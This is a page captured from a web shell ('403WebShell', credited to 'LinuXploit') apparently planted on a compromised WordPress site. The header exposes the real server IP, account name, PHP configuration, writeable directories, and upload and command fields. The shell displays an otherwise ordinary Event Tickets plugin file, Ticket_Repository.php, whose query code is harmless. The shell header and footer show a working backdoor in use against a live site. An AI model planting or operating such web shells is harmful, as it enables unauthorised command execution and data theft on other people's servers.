Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.15.214.244
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/Ticket_Repository.php
<?php

use TEC\Common\StellarWP\DB\DB;
use TEC\Tickets\Commerce\Repositories\Tickets_Repository;
use TEC\Tickets\Event;
use Tribe__Tickets__Global_Stock as Global_Stock;
use Tribe__Tickets__Tickets_Handler as Tickets_Handler;

/**
 * Class Tribe__Tickets__Ticket_Repository
 *
 * The basic ticket repository.
 *
 * @since 4.8
 */
class Tribe__Tickets__Ticket_Repository extends Tribe__Repository {

	/**
	 * The unique fragment that will be used to identify this repository filters.
	 *
	 * @var string
	 */
	protected $filter_name = 'tickets';

	/**
	 * Tribe__Tickets__Ticket_Repository constructor.
	 *
	 * @since 4.8
	 */
	public function __construct() {
		parent::__construct();

		$this->create_args['post_type'] = current( $this->ticket_types() );

		$this->default_args = [
			'post_type' => $this->ticket_types(),
			'orderby'   => [ 'date', 'ID' ],
		];

		$this->schema = array_merge( $this->schema, [
			'event'             => [ $this, 'filter_by_event' ],
			'event_not_in'      => [ $this, 'filter_by_event_not_in' ],
			'is_available'      => [ $this, 'filter_by_availability' ],
			'provider'          => [ $this, 'filter_by_provider' ],
			'attendees_min'     => [ $this, 'filter_by_attendees_min' ],
			'attendees_max'     => [ $this, 'filter_by_attendees_max' ],
			'attendees_between' => [ $this, 'filter_by_attendees_between' ],
			'checkedin_max'     => [ $this, 'filter_by_checkedin_max' ],
			'checkedin_min'     => [ $this, 'filter_by_checkedin_min' ],
			'checkedin_between' => [ $this, 'filter_by_checkedin_between' ],
			'capacity_min'      => [ $this, 'filter_by_capacity_min' ],
			'capacity_max'      => [ $this, 'filter_by_capacity_max' ],
			'capacity_between'  => [ $this, 'filter_by_capacity_between' ],
			'available_from'    => [ $this, 'filter_by_available_from' ],
			'available_until'   => [ $this, 'filter_by_available_until' ],
			'event_status'      => [ $this, 'filter_by_event_status' ],
			'has_attendee_meta' => [ $this, 'filter_by_attendee_meta_existence' ],
			'currency_code'     => [ $this, 'filter_by_currency_code' ],
			'is_active'         => [ $this, 'filter_by_active' ],
			'type'              => [ $this, 'filter_by_type' ],
			'type__not_in'      => [ $this, 'filter_by_type_not_in' ],
			'global_stock_mode' => [ $this, 'filter_by_global_stock_mode' ]
		] );
	}

	/**
	 * Returns an array of the ticket types handled by this repository.
	 *
	 * Extending repository classes should override this to add more ticket types.
	 *
	 * @since 4.8
	 *
	 * @return array
	 */
	public function ticket_types() {
		return [
			'rsvp'                         => 'tribe_rsvp_tickets',
			'tribe-commerce'               => 'tribe_tpp_tickets',
			TEC\Tickets\Commerce::PROVIDER => TEC\Tickets\Commerce\Ticket::POSTTYPE,
		];
	}

	/**
	 * Filters tickets by a specific event.
	 *
	 * @since 4.8
	 * @since 5.8.0 Apply the `tec_tickets_repository_filter_by_event_id` filter.
	 *
	 * @param int|array $event_id The post ID or array of post IDs to filter by.
	 */
	public function filter_by_event( $event_id ) {
		if ( is_array( $event_id ) ) {
			foreach ( $event_id as $key => $id ) {
				$event_id[ $key ] = Event::filter_event_id( $id );
			}
		} else {
			$event_id = Event::filter_event_id( $event_id );
		}

		/**
		 * Filters the post ID used to filter tickets.
		 *
		 * By default, only the ticketed post ID is used. This filter allows fetching tickets from related posts.
		 *
		 * @since 5.8.0
		 *
		 * @param int|array          $event_id The event ID or array of event IDs to filter by.
		 * @param Tickets_Repository $this     The current repository object.
		 */
		$event_id = apply_filters( 'tec_tickets_repository_filter_by_event_id', $event_id, $this );
		
		if ( is_array( $event_id ) && empty( $event_id ) ) {
			// Bail early if the array is empty.
			return;
		}
		
		if ( is_numeric( $event_id ) ) {
			$event_id = [ $event_id ];
		}
		
		$this->by( 'meta_in', $this->ticket_to_event_keys(), $event_id );
	}

	/**
	 * Returns the list of meta keys relating a Ticket to a Post (Event).
	 *
	 * Extending repository classes should override this to add more keys.
	 *
	 * @since 4.8
	 *
	 * @return array
	 */
	public function ticket_to_event_keys() {
		return [
			'rsvp'                         => '_tribe_rsvp_for_event',
			'tribe-commerce'               => '_tribe_tpp_for_event',
			TEC\Tickets\Commerce::PROVIDER => TEC\Tickets\Commerce\Ticket::$event_relation_meta_key,
		];
	}

	/**
	 * Filters tickets by not being related to a specific event.
	 *
	 * @since 4.8
	 *
	 * @param int|array $event_id
	 */
	public function filter_by_event_not_in( $event_id ) {
		if ( is_array( $event_id ) ) {
			foreach ( $event_id as $key => $id ) {
				$event_id[ $key ] = Event::filter_event_id( $id );
			}
		} else {
			$event_id = Event::filter_event_id( $event_id );
		}
		$this->by( 'meta_not_in', $this->ticket_to_event_keys(), $event_id );
	}

	/**
	 * Sets up the query to filter tickets by availability.
	 *
	 * @since 4.8
	 *
	 * @param bool $is_available
	 */
	public function filter_by_availability( $is_available ) {
		$want_available = (bool) $is_available;

		/** @var Tribe__Tickets__Tickets_Handler $tickets_handler */
		$tickets_handler   = tribe( 'tickets.handler' );
		$capacity_meta_key = $tickets_handler->key_capacity;

		if ( $want_available ) {
			$this->where( 'meta_gt', $capacity_meta_key, 0 );
		} else {
			$this->where( 'meta_equals', $capacity_meta_key, 0 );
		}
	}

	/**
	 * Sets up the query to filter tickets by provider.
	 *
	 * @since 4.8
	 *
	 * @param string|array $provider
	 */
	public function filter_by_provider( $provider ) {
		$providers = Tribe__Utils__Array::list_to_array( $provider );
		$meta_keys = Tribe__Utils__Array::map_or_discard( (array) $providers, $this->ticket_to_event_keys() );

		$this->by( 'meta_exists', $meta_keys );
	}

	/**
	 * Adds a WHERE clause to the query to filter tickets that have a minimum
	 * number of attendees.
	 *
	 * @since 4.8
	 *
	 * @param int $attendees_min
	 */
	public function filter_by_attendees_min( $attendees_min ) {
		/** @var Tribe__Tickets__Attendee_Repository $attendees */
		$attendees = tribe_attendees();

		$this->by_related_to_min( $attendees->attendee_to_ticket_keys(), $attendees_min );
	}

	/**
	 * Adds a WHERE clause to the query to filter tickets that have a maximum
	 * number of attendees.
	 *
	 * @since 4.8
	 *
	 * @param int $attendees_max
	 */
	public function filter_by_attendees_max( $attendees_max ) {
		/** @var Tribe__Tickets__Attendee_Repository $attendees */
		$attendees = tribe_attendees();

		$this->by_related_to_max( $attendees->attendee_to_ticket_keys(), $attendees_max );
	}

	/**
	 * Adds a WHERE clause to the query to filter tickets that have a number
	 * of attendees between two values.
	 *
	 * @since 4.8
	 *
	 * @param int $attendees_min
	 * @param int $attendees_max
	 */
	public function filter_by_attendees_between( $attendees_min, $attendees_max ) {
		/** @var Tribe__Tickets__Attendee_Repository $attendees */
		$attendees = tribe_attendees();

		$this->by_related_to_between( $attendees->attendee_to_ticket_keys(), $attendees_min, $attendees_max );
	}

	/**
	 * Adds a WHERE clause to the query to filter tickets that have a minimum
	 * number of checked-in attendees.
	 *
	 * @since 4.8
	 *
	 * @param int $checkedin_min
	 */
	public function filter_by_checkedin_min( $checkedin_min ) {
		/** @var Tribe__Tickets__Attendee_Repository $attendees */
		$attendees = tribe_attendees();

		$this->by_related_to_min( $attendees->attendee_to_ticket_keys(), $checkedin_min, $attendees->checked_in_keys(), '1' );
	}

	/**
	 * Adds a WHERE clause to the query to filter tickets that have a maximum
	 * number of checked-in attendees.
	 *
	 * @since 4.8
	 *
	 * @param int $checkedin_max
	 */
	public function filter_by_checkedin_max( $checkedin_max ) {
		/** @var Tribe__Tickets__Attendee_Repository $attendees */
		$attendees = tribe_attendees();

		$this->by_related_to_max( $attendees->attendee_to_ticket_keys(), $checkedin_max, $attendees->checked_in_keys(), '1' );
	}

	/**
	 * Adds a WHERE clause to the query to filter tickets that have a number
	 * of checked-in attendees between two values.
	 *
	 * @since 4.8
	 *
	 * @param int $checkedin_min
	 * @param int $checkedin_max
	 */
	public function filter_by_checkedin_between( $checkedin_min, $checkedin_max ) {
		/** @var Tribe__Tickets__Attendee_Repository $attendees */
		$attendees = tribe_attendees();

		$this->by_related_to_between( $attendees->attendee_to_ticket_keys(), $checkedin_min, $checkedin_max, $attendees->checked_in_keys(), '1' );
	}

	/**
	 * Filters tickets by a minimum capacity.
	 *
	 * @since 4.8
	 *
	 * @param int $capacity_min
	 */
	public function filter_by_capacity_min( $capacity_min ) {
		/**
		 * Tickets with unlimited capacity will have a `_capacity` meta of `-1`
		 * but they will always satisfy any minimum capacity requirement
		 * so we need to use a custom query.
		 */

		/** @var wpdb $wpdb */
		global $wpdb;

		$min = $this->prepare_value( $capacity_min, '%d' );
		$this->join_clause( "JOIN {$wpdb->postmeta} capacity_min ON {$wpdb->posts}.ID = capacity_min.post_id" );

		/** @var Tribe__Tickets__Tickets_Handler $tickets_handler */
		$tickets_handler = tribe( 'tickets.handler' );

		$capacity_meta_key = $this->prepare_value( $tickets_handler->key_capacity, '%s' );
		$this->where_clause( "capacity_min.meta_key = {$capacity_meta_key} AND (capacity_min.meta_value >= {$min} OR capacity_min.meta_value < 0)" );
	}

	/**
	 * Filters tickets by a maximum capacity.
	 *
	 * @since 4.8
	 *
	 * @param int $capacity_max
	 */
	public function filter_by_capacity_max( $capacity_max ) {
		/** @var Tribe__Tickets__Tickets_Handler $tickets_handler */
		$tickets_handler = tribe( 'tickets.handler' );

		/**
		 * Tickets with unlimited capacity will have a `_capacity` meta of `-1`
		 * but they should not satisfy any maximum capacity requirement
		 * so we need to use a BETWEEN query.
		 */
		$this->by( 'meta_between', $tickets_handler->key_capacity, [ 0, $capacity_max ], 'NUMERIC' );
	}

	/**
	 * Filters tickets by a minimum and maximum capacity.
	 *
	 * @since 4.8
	 *
	 * @param int $capacity_min
	 * @param int $capacity_max
	 */
	public function filter_by_capacity_between( $capacity_min, $capacity_max ) {
		/** @var Tribe__Tickets__Tickets_Handler $tickets_handler */
		$tickets_handler = tribe( 'tickets.handler' );

		$this->by( 'meta_between', $tickets_handler->key_capacity, [
			(int) $capacity_min,
			(int) $capacity_max,
		], 'NUMERIC' );
	}

	/**
	 * Filters tickets by their available date being starting on a date.
	 *
	 * @since 4.8
	 *
	 * @param string|int $date
	 *
	 * @return array
	 * @throws Exception
	 *
	 */
	public function filter_by_available_from( $date ) {
		// the input is a UTC date or timestamp
		$utc_date_string = is_numeric( $date ) ? "@{$date}" : $date;
		$utc_date        = new DateTime( $utc_date_string, new DateTimeZone( 'UTC' ) );
		$from            = Tribe__Timezones::to_tz( $utc_date->format( Tribe__Date_Utils::DBDATETIMEFORMAT ), Tribe__Timezones::wp_timezone_string() );

		return [
			'meta_query' => [
				'available-from' => [
					'not-exists' => [
						'key'     => '_ticket_start_date',
						'compare' => 'NOT EXISTS',
					],
					'relation'   => 'OR',
					'from'       => [
						'key'     => '_ticket_start_date',
						'compare' => '>=',
						'value'   => $from,
					],
				],
			],
		];
	}

	/**
	 * Filters tickets by their available date being until a date.
	 *
	 * @since 4.8
	 *
	 * @param string|int $date
	 *
	 * @return array
	 * @throws Exception
	 *
	 */
	public function filter_by_available_until( $date ) {
		// the input is a UTC date or timestamp
		$utc_date_string = is_numeric( $date ) ? "@{$date}" : $date;
		$utc_date        = new DateTime( $utc_date_string, new DateTimeZone( 'UTC' ) );
		$until           = Tribe__Timezones::to_tz( $utc_date->format( Tribe__Date_Utils::DBDATETIMEFORMAT ), Tribe__Timezones::wp_timezone_string() );

		return [
			'meta_query' => [
				'available-until' => [
					'not-exists' => [
						'key'     => '_ticket_end_date',
						'compare' => 'NOT EXISTS',
					],
					'relation'   => 'OR',
					'from'       => [
						'key'     => '_ticket_end_date',
						'compare' => '<=',
						'value'   => $until,
					],
				],
			],
		];
	}

	/**
	 * Filters tickets by if they are currently available or available in the future.
	 *
	 * @since 5.2.0
	 *
	 * @return array
	 * @throws Exception
	 *
	 */
	public function filter_by_active() {
		// the input is a UTC date or timestamp
		$utc_date = new DateTime( 'now', new DateTimeZone( 'UTC' ) );
		$now      = Tribe__Timezones::to_tz( $utc_date->format( Tribe__Date_Utils::DBDATETIMEFORMAT ), Tribe__Timezones::wp_timezone_string() );

		return [
			'meta_query' => [
				'available-until' => [
					'not-exists' => [
						'key'     => '_ticket_end_date',
						'compare' => 'NOT EXISTS',
					],
					'relation'   => 'OR',
					'from'       => [
						'key'     => '_ticket_end_date',
						'compare' => '>',
						'value'   => $now,
					],
				],
			],
		];
	}

	/**
	 * Filters tickets to only get those related to posts with a specific status.
	 *
	 * @since 4.8
	 *
	 * @param string|array $event_status
	 *
	 * @throws Tribe__Repository__Void_Query_Exception If the requested statuses are not accessible by the user.
	 * @throws Tribe__Repository__Usage_Error
	 */
	public function filter_by_event_status( $event_status ) {
		$statuses = Tribe__Utils__Array::list_to_array( $event_status );

		$can_read_private_posts = current_user_can( 'read_private_posts' );

		// map the `any` meta-status
		if ( 1 === count( $statuses ) && 'any' === $statuses[0] ) {
			if ( ! $can_read_private_posts ) {
				$statuses = [ 'publish' ];
			} else {
				// no need to filter if the user can read all posts
				return;
			}
		}

		if ( ! $can_read_private_posts ) {
			$event_status = array_intersect( $statuses, [ 'publish' ] );
		}

		if ( empty( $event_status ) ) {
			throw Tribe__Repository__Void_Query_Exception::because_the_query_would_yield_no_results( 'The user cannot read posts with the requested post statuses.' );
		}

		$this->where_meta_related_by( $this->ticket_to_event_keys(), 'IN', 'post_status', $statuses );
	}

	/**
	 * Filters tickets depending on them having additional
	 * information available and active or not.
	 *
	 * @since 4.8
	 *
	 * @param bool $exists
	 *
	 * @return array
	 */
	public function filter_by_attendee_meta_existence( $exists ) {
		if ( ! class_exists( 'Tribe__Tickets_Plus__Meta' ) ) {
			return [];
		}

		if ( $exists ) {
			return [
				'meta_query' => [
					'by-attendee-meta-availability' => [
						'is-enabled' => [
							'key'     => Tribe__Tickets_Plus__Meta::ENABLE_META_KEY,
							'compare' => '=',
							'value'   => 'yes',
						],
						'relation'   => 'AND',
						'has-meta'   => [
							'key'     => Tribe__Tickets_Plus__Meta::META_KEY,
							'compare' => 'EXISTS',
						],
					],
				],
			];
		}

		return [
			'meta_query' => [
				'by-attendee-meta-availability' => [
					'is-not-enabled' => [
						'key'     => Tribe__Tickets_Plus__Meta::ENABLE_META_KEY,
						'compare' => '!=',
						'value'   => 'yes',
					],
					'relation'       => 'OR',
					'not-exists'     => [
						'key'     => Tribe__Tickets_Plus__Meta::ENABLE_META_KEY,
						'compare' => 'NOT EXISTS',
					],
				],
			],
		];
	}

	/**
	 * Filters tickets by their provider currency codes.
	 *
	 * Applying this filter automatically excludes RSVP tickets that, being free, have
	 * no currency and hence no code.
	 *
	 * @since 4.8
	 *
	 * @param string|array $currency_code A 3-letter currency code, an array of CSV list of
	 *                                    3-letter currency codes.
	 *
	 * @throws Tribe__Repository__Void_Query_Exception If the queried currency code would make it
	 *                                                 so that no ticket would match the query.
	 */
	public function filter_by_currency_code( $currency_code ) {
		$queried_codes = Tribe__Utils__Array::list_to_array( $currency_code );

		if ( empty( $queried_codes ) ) {
			return;
		}

		$queried_codes = array_map( 'strtoupper', $queried_codes );

		$keys             = $this->ticket_to_event_keys();
		$provider_symbols = $this->ticket_provider_symbols();

		$in_keys = [];

		foreach ( $provider_symbols as $provider_slug => $provider_code ) {
			$intersected = array_intersect( (array) $provider_code, $queried_codes );

			if ( count( $intersected ) === 0 ) {
				continue;
			}

			$in_keys[] = $keys[ $provider_slug ];
		}

		if ( empty( $in_keys ) ) {
			$reason = 'No active provider has one of the queried currency symbols';
			throw Tribe__Repository__Void_Query_Exception::because_the_query_would_yield_no_results( $reason );
		}

		$this->by( 'meta_exists', $in_keys );
	}

	/**
	 * Get list of provider symbols.
	 *
	 * @since 4.10.6
	 *
	 * @return array List of provider symbols.
	 */
	public function ticket_provider_symbols() {
		$provider_symbols = [];

		if ( tribe( 'tickets.commerce.paypal' )->is_active() ) {
			/** @var Tribe__Tickets__Commerce__Currency $currency */
			$currency = tribe( 'tickets.commerce.paypal.currency' );

			$provider_symbols['tribe-commerce'] = $currency->get_currency_code();
		}

		return $provider_symbols;
	}

	/**
	 * {@inheritdoc}
	 */
	public function create() {
		// Prevent creation of Tickets through the default ORM.
		if ( 1 !== count( $this->ticket_types() ) ) {
			return false;
		}

		return parent::create();
	}

	/**
	 * Internal method to filter Tickets by keeping only those either of a certain type, or not
	 * of a certain type.
	 *
	 * @since 5.8.2
	 *
	 * @param string          $operator Either `IN` or `NOT IN` to keep, respectively, Tickets of a specific type,
	 *                                  or Tickets that have not a specific type.
	 * @param string|string[] $type     The type of Tickets to keep or exclude.
	 *
	 * @return void WHERE and JOIN clauses are added to the query being built.
	 */
	private function filter_by_type_operator( string $operator, $type ): void {
		$hash  = substr( md5( microtime() ), - 5 );
		$types = (array) $type;
		global $wpdb;
		$types_set = $wpdb->prepare(
			implode( ",", array_fill( 0, count( $types ), '%s' ) ),
			...$types
		);

		// Include tickets that have their `_type` meta set to `default` or that have no `_type` meta.
		$alias = 'ticket_type_filter_' . $hash;
		$this->filter_query->join( "LEFT JOIN {$wpdb->postmeta} AS {$alias}
			 ON {$wpdb->posts}.ID = {$alias}.post_id
			 AND {$alias}.meta_key = '_type'" );
		$this->filter_query->where( "COALESCE({$alias}.meta_value, 'default') {$operator} (" . $types_set . ")" );
	}

	/**
	 * Filters the ticket to be returned by the value of the `_type` meta key.
	 *
	 * @since 5.8.2
	 *
	 * @param string|string[] $type The ticket type or types to filter by.
	 *
	 * @return void The query is modified in place.
	 */
	public function filter_by_type( $type ): void {
		$this->filter_by_type_operator( 'IN', $type );
	}

	/**
	 * Captures the SQL that would be used to get the Ticket IDs without runing the query.
	 *
	 * @since 5.8.0
	 *
	 * @return string|null The SQL query or `null` if the query cannot be run.
	 */
	private function get_ids_request(): ?string {
		$posts_request = null;
		$squeezer      = static function ( $pre, \WP_Query $query ) use ( &$posts_request ) {
			$posts_request = $query->request;

			// Avoid the query from actually running by returning a non null value.
			return [];
		};
		add_filter( 'posts_pre_query', $squeezer, PHP_INT_MAX, 2 );
		$this->set_found_rows( false )->per_page( - 1 )->get_ids();
		remove_filter( 'posts_pre_query', $squeezer, PHP_INT_MAX );

		return $posts_request;
	}

	/**
	 * Get the independent capacity of the Tickets queried by the repository.
	 *
	 * The independent capacity does not include the capacity of Tickets with Unlimited capacity.
	 *
	 * @since 5.8.0
	 *
	 * @return int The independent capacity of the Tickets queried by the repository.
	 */
	public function get_independent_capacity(): int {
		$posts_request = $this->get_ids_request();

		if ( empty( $posts_request ) ) {
			return 0;
		}

		/*
		 * Run the query using the sub-query, this will not pull out potentially unbound data (the Tickets) from
		 * the database but only the sum of their capacity (an aggregate function).
		 * The whole query, and likely most, if not all, the sub-query, will hit indexes.
		 */
		global $wpdb;
		/**
		 * @var Tickets_Handler $tickets_handler
		 */
		$tickets_handler   = tribe( 'tickets.handler' );
		$capacity_meta_key = $tickets_handler->key_capacity;
		$mode_meta_key     = Global_Stock::TICKET_STOCK_MODE;
		$query             = $wpdb->prepare(
			"SELECT SUM(capacity.meta_value) FROM {$wpdb->postmeta} capacity
				INNER JOIN {$wpdb->postmeta} stock_mode ON capacity.post_id = stock_mode.post_id
					 AND stock_mode.meta_key = %s
				WHERE capacity.meta_key = %s
				AND capacity.post_id IN ($posts_request)
				AND stock_mode.meta_value = %s
				AND capacity.meta_value >= 0
				",
			$mode_meta_key,
			$capacity_meta_key,
			Global_Stock::OWN_STOCK_MODE
		);

		return (int) DB::get_var( $query );
	}

	/**
	 * Get the shared capacity of the Tickets queried by the repository.
	 *
	 * The shared capacity does not include the capacity of Tickets with Unlimited capacity.
	 *
	 * @since 5.8.0
	 *
	 * @return int The shared capacity of the Tickets queried by the repository.
	 */
	public function get_shared_capacity(): int {
		$posts_request = $this->get_ids_request();

		if ( empty( $posts_request ) ) {
			return 0;
		}

		/*
		 * Run the query using the sub-query, this will not pull out potentially unbound data (the Tickets) from
		 * the database but only the max of their capacity (an aggregate function).
		 * The whole query, and likely most, if not all, the sub-query, will hit indexes.
		 */
		global $wpdb;
		/**
		 * @var Tickets_Handler $tickets_handler
		 */
		$tickets_handler   = tribe( 'tickets.handler' );
		$capacity_meta_key = $tickets_handler->key_capacity;
		$mode_meta_key     = Global_Stock::TICKET_STOCK_MODE;
		$query             = $wpdb->prepare(
			"SELECT MAX(CAST(capacity.meta_value AS UNSIGNED)) FROM {$wpdb->postmeta} capacity
				INNER JOIN {$wpdb->postmeta} stock_mode ON capacity.post_id = stock_mode.post_id
					 AND stock_mode.meta_key = %s
				WHERE capacity.meta_key = %s
				AND capacity.post_id IN ($posts_request)
				AND stock_mode.meta_value in (%s, %s)
				AND capacity.meta_value >= 0
				",
			$mode_meta_key,
			$capacity_meta_key,
			Global_Stock::GLOBAL_STOCK_MODE,
			Global_Stock::CAPPED_STOCK_MODE
		);

		return (int) DB::get_var( $query );
	}

	/**
	 * Filters tickets by their global stock mode.
	 *
	 * @since 5.8.0
	 *
	 * @param array<string>|string $modes             The global stock mode or modes to filter by, use the
	 *                                                `Global_Stock::` constants.
	 * @param bool                 $exclude_unlimited Whether to exclude tickets with Unlimited capacity or not,
	 *                                                defaults to `false`.
	 */
	public function filter_by_global_stock_mode( $modes, bool $exclude_unlimited = false ): void {
		if ( (array) $modes === [ Global_Stock::UNLIMITED_STOCK_MODE ] ) {
			$this->where( 'meta_equals', Tickets_Handler::instance()->key_capacity, '-1' );

			return;
		}

		$this->where( 'meta_in', Global_Stock::TICKET_STOCK_MODE, (array) $modes );

		if ( $exclude_unlimited ) {
			$capacity_meta_key = Tickets_Handler::instance()->key_capacity;
			$this->where( 'meta_gte', $capacity_meta_key, 0 );
		}
	}

	/**
	 * Filters the ticket to be excluded by the value of the `_type` meta key.
	 *
	 * @since 5.8.2
	 *
	 * @param string|string[] $type The ticket type or types to exclude from the results.
	 *
	 * @return void The query is modified in place.
	 */
	public function filter_by_type_not_in( $type ): void {
		$this->filter_by_type_operator( 'NOT IN', $type );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit